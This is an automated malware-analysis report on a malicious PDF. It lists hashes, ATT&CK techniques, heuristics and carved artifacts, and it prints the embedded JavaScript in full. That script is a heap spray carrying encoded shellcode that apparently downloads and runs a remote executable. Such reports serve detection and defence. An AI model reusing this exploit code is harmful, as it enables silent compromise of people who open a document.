Malicious PDF — malware analysis report

Static analysis result for SHA-256 7b7da60aafcb912d…

MALICIOUS

PDF

37.7 KB
MD5: 675b909fc2c1cf9d2d236ca14d819566 SHA-1: c61ab32bd7354f78fe07e3a63e91385296cba159 SHA-256: 7b7da60aafcb912d181d5b4929e07cd2b2587c1d538eaecdb8314cde8f405223
186 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF sample contains embedded JavaScript, indicated by multiple PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier also flagged it as malicious. The embedded JavaScript, specifically the 'javascript_obj0006_000.js' stream, appears to be obfuscated and attempts to construct a URL. This suggests the primary goal is to download and execute a secondary payload, likely from the domain 'www.flashandmath.com'. The presence of PDF-specific exploit indicators further supports this attack pattern.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • RichMedia (Flash) high PDF_RICHMEDIA
    PDF contains /RichMedia (Adobe Flash) which is a historic exploit vector
  • ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX
    Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.flashandmath.com In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In PDF document text
    • http://adobe.com/AS3/2006/builtinIn PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
Adobe.swf
ce5f7936cf8e3536a88a804ce2d6902022df1794fa878bdc64a26866e34ba989		 pdf-embedded-file PDF EmbeddedFile object 16 at offset 0xAC3 55839 bytes
javascript_obj0006_000.js
31c85c6b9f8490f7964580e8ce957f84b0e803a85a9b5b615cf1e8da4c1902de		 pdf-javascript-stream PDF /JS object 6 at offset 0xF5 1564 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var padding = String.fromCharCode(37008) + String.fromCharCode(37008);var html = padding + '\u46EB\u315F\u83C9\u01E9\uFE89\uC030\u012C\uAEF2\u47FE\u89FF\u30FB\u2CC0\uF201\uFEAE\uFF47\uFD89\uAEF2\u47FE\uEBFF\u6071\uC931\u8B64\u3071\u768B\u8B0C\u1C76\u5E8B\u8B08\u2056\u368B\u3966\u184A\uF275\u5C89\u1C24\uC361\u5BEB\u8B60\u246C\u8B24\u3C45\u548B\u7805\uEA01\u4A8B\u8B18\u205A\uEB01\u34E3\u8B49\u8B34\uEE01\uFF31\uC031\uACFC\uC084\u0774\uCFC1\u0112\uEBC7\u3BF4\u247C\u7528\u8BE1\u245A\uEB01\u8B66\u4B0C\u5A8B\u011C\u8BEB\u8B04\uE801\u4489\u1C24\uC361\u54EB\uD231\u5252\u5553\uFF52\uEBD0\uEB1A\uE85D\uFF7B\uFFFF\uE7BA\u8BBA\u52C4\uE850\uFF92\uFFFF\uD231\uFF52\uEBD0\uE82D\uFF63\uFFFF\uAABA\u8A6E\u52F3\uE850\uFF7A\uFFFF\uD231\uC283\u83FF\uFAEA\u5352\uD0FF\uC9EB\u47BA\uC87D\u52A0\uE850\uFF60\uFFFF\uAEEB\u5DEB\u34E8\uFFFF\uBAFF\uCE12\u091A\u5052\u4BE8\uFFFF\u56FF\uD0FF\uDAEB\uF9E8\uFFFE\u75FF\u6C72\u6F6D\u2E6E\u6C64\uFF6C\u2E2E\u752F\u6470\u7461\u2E65\u7865\uFF65\u7468\u7074\u2F3A\u612F\u676E\u6C65\u3332\u312E\u6D36\u2E62\u6F63\u2F6D\u2F62\u642F\u776F\u6C6E\u616F\u5F64\u6966\u656C\u702E\u7068\u653F\u413D\u6F64\u6562\u322D\u3130\u2D30\u3832\u3438\uCDFF\u0003';while (padding.length < 65564){	padding+=padding;}var value = padding.substring(0, 0x5f4);value += html;value += padding;var destination = value.substring(0, 32768);while(1){	destination += destination;	if(destination.length >= 524288) break;}var today = destination.substring(0, 524288 - 2060);var forever = new Array();for (var infinite = 0; infinite < 496; infinite++){	forever[infinite]=today+'s';}

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